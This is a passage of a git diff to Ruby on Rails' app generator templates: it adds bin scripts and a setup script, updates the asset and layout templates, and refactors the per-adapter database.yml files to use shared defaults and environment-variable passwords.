- Holds models that should be named like post.rb. Models descend from
- ActiveRecord::Base by default.
-
-app/views
- Holds the template files for the view that should be named like
- weblogs/index.html.erb for the WeblogsController#index action. All views use
- eRuby syntax by default.
-
-app/views/layouts
- Holds the template files for layouts to be used with views. This models the
- common header/footer method of wrapping views. In your views, define a layout
- using the <tt>layout :default</tt> and create a file named default.html.erb.
- Inside default.html.erb, call <% yield %> to render the view using this
- layout.
-
-app/helpers
- Holds view helpers that should be named like weblogs_helper.rb. These are
- generated for you automatically when using generators for controllers.
- Helpers can be used to wrap functionality for your views into methods.
-
-config
- Configuration files for the Rails environment, the routing map, the database,
- and other dependencies.
-
-db
- Contains the database schema in schema.rb. db/migrate contains all the
- sequence of Migrations for your schema.
-
-doc
- This directory is where your application documentation will be stored when
- generated using <tt>rake doc:app</tt>
-
-lib
- Application specific libraries. Basically, any kind of custom code that
- doesn't belong under controllers, models, or helpers. This directory is in
- the load path.
-
-public
- The directory available for the web server. Also contains the dispatchers and the
- default HTML files. This should be set as the DOCUMENT_ROOT of your web
- server.
-
-script
- Helper scripts for automation and generation.
-
-test
- Unit and functional tests along with fixtures. When using the rails generate
- command, template test files will be generated for you and placed in this
- directory.
-
-vendor
- External libraries that the application depends on. If the app has frozen rails,
- those gems also go here, under vendor/rails/. This directory is in the load path.
diff --git a/railties/lib/rails/generators/rails/app/templates/README.rdoc b/railties/lib/rails/generators/rails/app/templates/README.rdoc
new file mode 100644
index 0000000000..dd4e97e22e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/README.rdoc
@@ -0,0 +1,28 @@
+== README
+
+This README would normally document whatever steps are necessary to get the
+application up and running.
+
+Things you may want to cover:
+
+* Ruby version
+
+* System dependencies
+
+* Configuration
+
+* Database creation
+
+* Database initialization
+
+* How to run the test suite
+
+* Services (job queues, cache servers, search engines, etc.)
+
+* Deployment instructions
+
+* ...
+
+
+Please feel free to use a different markup language if you do not plan to run
+<tt>rake doc:app</tt>.
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/rails/generators/rails/app/templates/Rakefile
index 6eb23f68a3..ba6b733dd2 100644
--- a/railties/lib/rails/generators/rails/app/templates/Rakefile
+++ b/railties/lib/rails/generators/rails/app/templates/Rakefile
@@ -3,4 +3,4 @@
require File.expand_path('../config/application', __FILE__)
-<%= app_const %>.load_tasks
+Rails.application.load_tasks
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/images/rails.png b/railties/lib/rails/generators/rails/app/templates/app/assets/images/rails.png
deleted file mode 100644
index d5edc04e65..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/images/rails.png
+++ /dev/null
Binary files differ
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
index 7342bffd9d..c1a77944e8 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
@@ -2,17 +2,19 @@
// listed below.
//
// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
-// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
+// or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path.
//
// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
// compiled file.
//
-// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD
-// GO AFTER THE REQUIRES BELOW.
+// Read Sprockets README (https://github.com/sstephenson/sprockets#sprockets-directives) for details
+// about supported directives.
//
<% unless options[:skip_javascript] -%>
//= require <%= options[:javascript] %>
//= require <%= options[:javascript] %>_ujs
+<% if gemfile_entries.any? { |m| m.name == "turbolinks" } -%>
//= require turbolinks
<% end -%>
+<% end -%>
//= require_tree .
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
index 3192ec897b..f9cd5b3483 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -3,11 +3,13 @@
* listed below.
*
* Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
- * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
+ * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.
*
- * You're free to add application-wide styles to this file and they'll appear at the top of the
- * compiled file, but it's generally better to create a new file per style scope.
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any styles
+ * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
+ * file per style scope.
*
- *= require_self
*= require_tree .
+ *= require_self
*/
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
index d87c7b7268..75ea52828e 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -2,8 +2,17 @@
<html>
<head>
<title><%= camelized %></title>
- <%%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
- <%%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+ <%- if options[:skip_javascript] -%>
+ <%%= stylesheet_link_tag 'application', media: 'all' %>
+ <%- else -%>
+ <%- if gemfile_entries.any? { |m| m.name == 'turbolinks' } -%>
+ <%%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' => true %>
+ <%%= javascript_include_tag 'application', 'data-turbolinks-track' => true %>
+ <%- else -%>
+ <%%= stylesheet_link_tag 'application', media: 'all' %>
+ <%%= javascript_include_tag 'application' %>
+ <%- end -%>
+ <%- end -%>
<%%= csrf_meta_tags %>
</head>
<body>
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/bundle b/railties/lib/rails/generators/rails/app/templates/bin/bundle
new file mode 100644
index 0000000000..1123dcf501
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/bundle
@@ -0,0 +1,2 @@
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+load Gem.bin_path('bundler', 'bundle')
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rails b/railties/lib/rails/generators/rails/app/templates/bin/rails
new file mode 100644
index 0000000000..80ec8080ab
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rails
@@ -0,0 +1,3 @@
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require_relative '../config/boot'
+require 'rails/commands'
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rake b/railties/lib/rails/generators/rails/app/templates/bin/rake
new file mode 100644
index 0000000000..d14fc8395b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rake
@@ -0,0 +1,3 @@
+require_relative '../config/boot'
+require 'rake'
+Rake.application.run
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/setup b/railties/lib/rails/generators/rails/app/templates/bin/setup
new file mode 100644
index 0000000000..0e22b3fa5c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/setup
@@ -0,0 +1,28 @@
+require 'pathname'
+
+# path to your application root.
+APP_ROOT = Pathname.new File.expand_path('../../', __FILE__)
+
+Dir.chdir APP_ROOT do
+ # This script is a starting point to setup your application.
+ # Add necessary setup steps to this file:
+
+ puts "== Installing dependencies =="
+ system "gem install bundler --conservative"
+ system "bundle check || bundle install"
+
+ # puts "\n== Copying sample files =="
+ # unless File.exist?("config/database.yml")
+ # system "cp config/database.yml.sample config/database.yml"
+ # end
+
+ puts "\n== Preparing database =="
+ system "bin/rake db:setup"
+
+ puts "\n== Removing old logs and tempfiles =="
+ system "rm -f log/*"
+ system "rm -rf tmp/cache"
+
+ puts "\n== Restarting application server =="
+ system "touch tmp/restart.txt"
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config.ru b/railties/lib/rails/generators/rails/app/templates/config.ru
index fcfbc6b07a..bd83b25412 100644
--- a/railties/lib/rails/generators/rails/app/templates/config.ru
+++ b/railties/lib/rails/generators/rails/app/templates/config.ru
@@ -1,4 +1,4 @@
# This file is used by Rack-based servers to start the application.
-require ::File.expand_path('../config/environment', __FILE__)
-run <%= app_const %>
+require ::File.expand_path('../config/environment', __FILE__)
+run Rails.application
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index 5f15c973c6..111b680e4b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -4,15 +4,19 @@ require File.expand_path('../boot', __FILE__)
require 'rails/all'
<% else -%>
# Pick the frameworks you want:
+require "active_model/railtie"
+require "active_job/railtie"
<%= comment_if :skip_active_record %>require "active_record/railtie"
require "action_controller/railtie"
require "action_mailer/railtie"
+require "action_view/railtie"
<%= comment_if :skip_sprockets %>require "sprockets/railtie"
<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
<% end -%>
-# Assets should be precompiled for production (so we don't need the gems loaded then)
-Bundler.require(*Rails.groups(assets: %w(development test)))
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(*Rails.groups)
module <%= app_const_base %>
class Application < Rails::Application
@@ -20,23 +24,17 @@ module <%= app_const_base %>
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
- # Custom directories with classes and modules you want to be autoloadable.
- # config.autoload_paths += %W(#{config.root}/extras)
+ # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
+ # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
+ # config.time_zone = 'Central Time (US & Canada)'
- # Configure sensitive parameters which will be filtered from the log file.
- config.filter_parameters += [:password]
+ # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+ # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+ # config.i18n.default_locale = :de
+ <%- unless options.skip_active_record? -%>
- # Use SQL instead of Active Record's schema dumper when creating the database.
- # This is necessary if your schema can't be completely dumped by the schema dumper,
- # like if you have constraints or database-specific column types.
- # config.active_record.schema_format = :sql
-
-<% unless options.skip_sprockets? -%>
- # Enable the asset pipeline.
- config.assets.enabled = true
-
- # Version of your assets, change this if you want to expire all your assets.
- config.assets.version = '1.0'
-<% end -%>
+ # Do not swallow errors in after_commit/after_rollback callbacks.
+ config.active_record.raise_in_transactional_callbacks = true
+ <%- end -%>
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
index 3596736667..6b750f00b1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
@@ -1,4 +1,3 @@
-# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' # Set up gems listed in the Gemfile.
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
index 4807986333..34fc0e3465 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
@@ -6,26 +6,44 @@
# Configure Using Gemfile
# gem 'ruby-frontbase'
#
-development:
+default: &default
adapter: frontbase
host: localhost
- database: <%= app_name %>_development
username: <%= app_name %>
password: ''
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: frontbase
- host: localhost
+ <<: *default
database: <%= app_name %>_test
- username: <%= app_name %>
- password: ''
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="frontbase://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: frontbase
- host: localhost
+ <<: *default
database: <%= app_name %>_production
username: <%= app_name %>
- password: ''
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
index 3d689a110a..187ff01bac 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
@@ -1,7 +1,7 @@
# IBM Dataservers
#
# Home Page
-# http://rubyforge.org/projects/rubyibm/
+# https://github.com/dparnell/ibm_db
#
# To install the ibm_db gem:
#
@@ -31,14 +31,11 @@
# Configure Using Gemfile
# gem 'ibm_db'
#
-# For more details on the installation and the connection parameters below,
-# please refer to the latest documents at http://rubyforge.org/docman/?group_id=2361
-
-development:
+#
+default: &default
adapter: ibm_db
username: db2inst1
password:
- database: <%= app_name[0,4] %>_dev
#schema: db2inst1
#host: localhost
#port: 50000
@@ -51,36 +48,38 @@ development:
#authentication: SERVER
#parameterized: false
+development:
+ <<: *default
+ database: <%= app_name[0,4] %>_dev
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
test:
- adapter: ibm_db
- username: db2inst1
- password:
+ <<: *default
database: <%= app_name[0,4] %>_tst
- #schema: db2inst1
- #host: localhost
- #port: 50000
- #account: my_account
- #app_user: my_app_user
- #application: my_application
- #workstation: my_workstation
- #security: SSL
- #timeout: 10
- #authentication: SERVER
- #parameterized: false
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="ibm-db://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: ibm_db
- username: db2inst1
- password:
- database: <%= app_name[0,8] %>
- #schema: db2inst1
- #host: localhost
- #port: 50000
- #account: my_account
- #app_user: my_app_user
- #application: my_application
- #workstation: my_workstation
- #security: SSL
- #timeout: 10
- #authentication: SERVER
- #parameterized: false \ No newline at end of file
+ <<: *default
+ database: <%= app_name %>_production
+ username: <%= app_name %>
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
index 1d2bf08b91..db0a429753 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
@@ -5,58 +5,64 @@
# Configure using Gemfile:
# gem 'activerecord-jdbcmssql-adapter'
#
-#development:
-# adapter: mssql
-# username: <%= app_name %>
-# password:
-# host: localhost
-# database: <%= app_name %>_development
+# development:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_development
#
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
#
-#test:
-# adapter: mssql
-# username: <%= app_name %>
-# password:
-# host: localhost
-# database: <%= app_name %>_test
+# test:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_test
#
-#production:
-# adapter: mssql
-# username: <%= app_name %>
-# password:
-# host: localhost
-# database: <%= app_name %>_production
+# production:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_production
# If you are using oracle, db2, sybase, informix or prefer to use the plain
# JDBC adapter, configure your database setting as the example below (requires
# you to download and manually install the database vendor's JDBC driver .jar
-# file). See your driver documentation for the apropriate driver class and
+# file). See your driver documentation for the appropriate driver class and
# connection string:
-development:
+default: &default
adapter: jdbc
username: <%= app_name %>
password:
driver:
+
+development:
+ <<: *default
url: jdbc:db://localhost/<%= app_name %>_development
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
-
test:
- adapter: jdbc
- username: <%= app_name %>
- password:
- driver:
+ <<: *default
url: jdbc:db://localhost/<%= app_name %>_test
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
production:
- adapter: jdbc
- username: <%= app_name %>
- password:
- driver:
url: jdbc:db://localhost/<%= app_name %>_production
+ username: <%= app_name %>
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
index 5a594ac1f3..acb93939e1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
@@ -8,26 +8,45 @@
#
# And be sure to use new-style password hashing:
# http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
+#
+default: &default
adapter: mysql
- database: <%= app_name %>_development
username: root
password:
host: localhost
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: mysql
+ <<: *default
database: <%= app_name %>_test
- username: root
- password:
- host: localhost
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="mysql://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: mysql
+ <<: *default
database: <%= app_name %>_production
- username: root
- password:
- host: localhost
+ username: <%= app_name %>
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
index e1a00d076f..9e99264d33 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
@@ -2,13 +2,23 @@
#
# Configure Using Gemfile
# gem 'activerecord-jdbcpostgresql-adapter'
-
-development:
+#
+default: &default
adapter: postgresql
encoding: unicode
+
+development:
+ <<: *default
database: <%= app_name %>_development
- username: <%= app_name %>
- password:
+
+ # The specified database role being used to connect to postgres.
+ # To create additional roles in postgres see `$ createuser --help`.
+ # When left blank, postgres will use the default role. This is
+ # the same name as the operating system user that initialized the database.
+ #username: <%= app_name %>
+
+ # The password associated with the postgres role (username).
+ #password:
# Connect on a TCP socket. Omitted by default since the client uses a
# domain socket that doesn't need configuration. Windows does not have
@@ -29,15 +39,30 @@ development:
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: postgresql
- encoding: unicode
+ <<: *default
database: <%= app_name %>_test
- username: <%= app_name %>
- password:
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: postgresql
- encoding: unicode
+ <<: *default
database: <%= app_name %>_production
username: <%= app_name %>
- password:
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
index 175f3eb3db..28c36eb82f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
@@ -4,17 +4,20 @@
# Configure Using Gemfile
# gem 'activerecord-jdbcsqlite3-adapter'
#
-development:
+default: &default
adapter: sqlite3
+
+development:
+ <<: *default
database: db/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: sqlite3
+ <<: *default
database: db/test.sqlite3
production:
- adapter: sqlite3
+ <<: *default
database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
index c3349912aa..4b2e6646c7 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -1,4 +1,4 @@
-# MySQL. Versions 4.1 and 5.0 are recommended.
+# MySQL. Versions 5.0+ are recommended.
#
# Install the MYSQL driver
# gem install mysql2
@@ -8,10 +8,10 @@
#
# And be sure to use new-style password hashing:
# http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
+#
+default: &default
adapter: mysql2
encoding: utf8
- database: <%= app_name %>_development
pool: 5
username: root
password:
@@ -21,31 +21,38 @@ development:
host: localhost
<% end -%>
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: mysql2
- encoding: utf8
+ <<: *default
database: <%= app_name %>_test
- pool: 5
- username: root
- password:
-<% if mysql_socket -%>
- socket: <%= mysql_socket %>
-<% else -%>
- host: localhost
-<% end -%>
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="mysql2://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: mysql2
- encoding: utf8
+ <<: *default
database: <%= app_name %>_production
- pool: 5
- username: root
- password:
-<% if mysql_socket -%>
- socket: <%= mysql_socket %>
-<% else -%>
- host: localhost
-<% end -%>
+ username: <%= app_name %>
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
index b661a60389..9aedcc15cb 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
@@ -1,7 +1,7 @@
# Oracle/OCI 8i, 9, 10g
#
# Requires Ruby/OCI8:
-# http://rubyforge.org/projects/ruby-oci8/
+# https://github.com/kubo/ruby-oci8
#
# Specify your database using any valid connection syntax, such as a
# tnsnames.ora service name, or an SQL connect string of the form:
@@ -16,24 +16,43 @@
# prefetch_rows: 100
# cursor_sharing: similar
#
-
-development:
+default: &default
adapter: oracle
- database: <%= app_name %>_development
username: <%= app_name %>
password:
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: oracle
+ <<: *default
database: <%= app_name %>_test
- username: <%= app_name %>
- password:
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="oracle://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: oracle
+ <<: *default
database: <%= app_name %>_production
username: <%= app_name %>
- password:
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
index 22c9194fad..feb25bbc6b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -14,19 +14,31 @@
# Configure Using Gemfile
# gem 'pg'
#
-development:
+default: &default
adapter: postgresql
encoding: unicode
- database: <%= app_name %>_development
+ # For details on connection pooling, see rails configuration guide
+ # http://guides.rubyonrails.org/configuring.html#database-pooling
pool: 5
- username: <%= app_name %>
- password:
+
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
+ # The specified database role being used to connect to postgres.
+ # To create additional roles in postgres see `$ createuser --help`.
+ # When left blank, postgres will use the default role. This is
+ # the same name as the operating system user that initialized the database.
+ #username: <%= app_name %>
+
+ # The password associated with the postgres role (username).
+ #password:
# Connect on a TCP socket. Omitted by default since the client uses a
# domain socket that doesn't need configuration. Windows does not have
# domain sockets, so uncomment these lines.
#host: localhost
-
+
# The TCP port the server listens on. Defaults to 5432.
# If your server runs on a different port number, change accordingly.
#port: 5432
@@ -44,17 +56,30 @@ development:
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: postgresql
- encoding: unicode
+ <<: *default
database: <%= app_name %>_test
- pool: 5
- username: <%= app_name %>
- password:
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: postgresql
- encoding: unicode
+ <<: *default
database: <%= app_name %>_production
- pool: 5
username: <%= app_name %>
- password:
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
index 51a4dd459d..1c1a37ca8d 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
@@ -3,23 +3,23 @@
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem 'sqlite3'
-development:
+#
+default: &default
adapter: sqlite3
- database: db/development.sqlite3
pool: 5
timeout: 5000
+development:
+ <<: *default
+ database: db/development.sqlite3
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: sqlite3
+ <<: *default
database: db/test.sqlite3
- pool: 5
- timeout: 5000
production:
- adapter: sqlite3
+ <<: *default
database: db/production.sqlite3
- pool: 5
- timeout: 5000
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
index b52b733c56..30b0df34a8 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
@@ -1,57 +1,68 @@
# SQL Server (2005 or higher recommended)
-#
+#
# Install the adapters and driver
# gem install tiny_tds
# gem install activerecord-sqlserver-adapter
#
# Ensure the activerecord adapter and db driver gems are defined in your Gemfile
-# gem 'tiny_tds'
